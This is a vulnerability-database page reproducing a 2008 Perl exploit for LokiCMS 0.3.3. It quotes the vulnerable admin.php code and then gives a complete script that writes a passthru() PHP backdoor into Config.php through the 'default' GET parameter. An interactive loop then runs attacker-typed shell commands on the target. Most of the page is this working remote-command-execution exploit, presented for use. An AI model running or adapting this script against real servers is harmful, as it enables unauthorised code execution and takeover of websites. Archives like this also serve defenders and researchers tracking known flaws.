Lucene search
K

LokiCMS 0.3.3 - Remote Command Execution

🗓️ 08 Apr 2008 00:00:00Reported by girexType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 38 Views

LokiCMS 0.3.3 remote command execution exploit via admin.ph

Code
# Author:	__GiReX__
# mySite:	girex.altervista.org
# Date:		8/04/08

# CMS: 		LokiCMS <= 0.3.3
# Site:		lokicms.com

# Bug: 		PHP Code Injection
# Exploit:	Remote Command Execution

# Vuln Code: admin.php

#	if ($_GET['default'] != '') { // User want's to set the default page
#		writeconfig($c_password, $c_title, $c_header, $c_tagline, $c_footnote, stripslashes($_GET['default']), #		$c_theme, $c_language, $c_modrewrite, $c_simplelink, $c_code);

# Our bugged var $_GET['default'] is stripslashed so we don't need magic_quotes_gpc Off
# writeconfig() simply put text into Config.php

# This is a very bugged CMS, only most dengerous bug is here reported



#!/usr/bin/perl -w
# LokiCMS <= 0.3.3 Remote Command Execution Exploit
# Works with magic_quotes_gpc = On
# Coded by __GiReX__

use LWP::Simple;

if(not defined $ARGV[0])
{
     banner();
     print "[-] Usage: perl $0 [host] [path]\n";
     print "[-] Example: perl $0 localhost /lokicms/\n\n";
     exit;
}
 
my $host  =  $ARGV[0] =~ /^http:\/\// ?  $ARGV[0]:  'http://' . $ARGV[0];
   $host .=  $ARGV[1] unless not defined $ARGV[1];

banner();
get($host.'admin.php?default=\';passthru($_GET[\'cmd\']);//') or die '[-] Error requesting page: admin.php';

while(1)
{
     print "[+] Shell:~\$ ";
     chomp($cmd = <STDIN>);
     last if $cmd eq 'exit';
     last if is_error(getprint($host."includes/Config.php?cmd=${cmd}"));
     print $resp;
}

sub banner
{
     print "[+] LokiCMS <= 0.3.3 Remote Command Execution Exploit\n";
     print "[+] Coded by __GiReX__\n";
     print "\n";
}

# milw0rm.com [2008-04-08]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation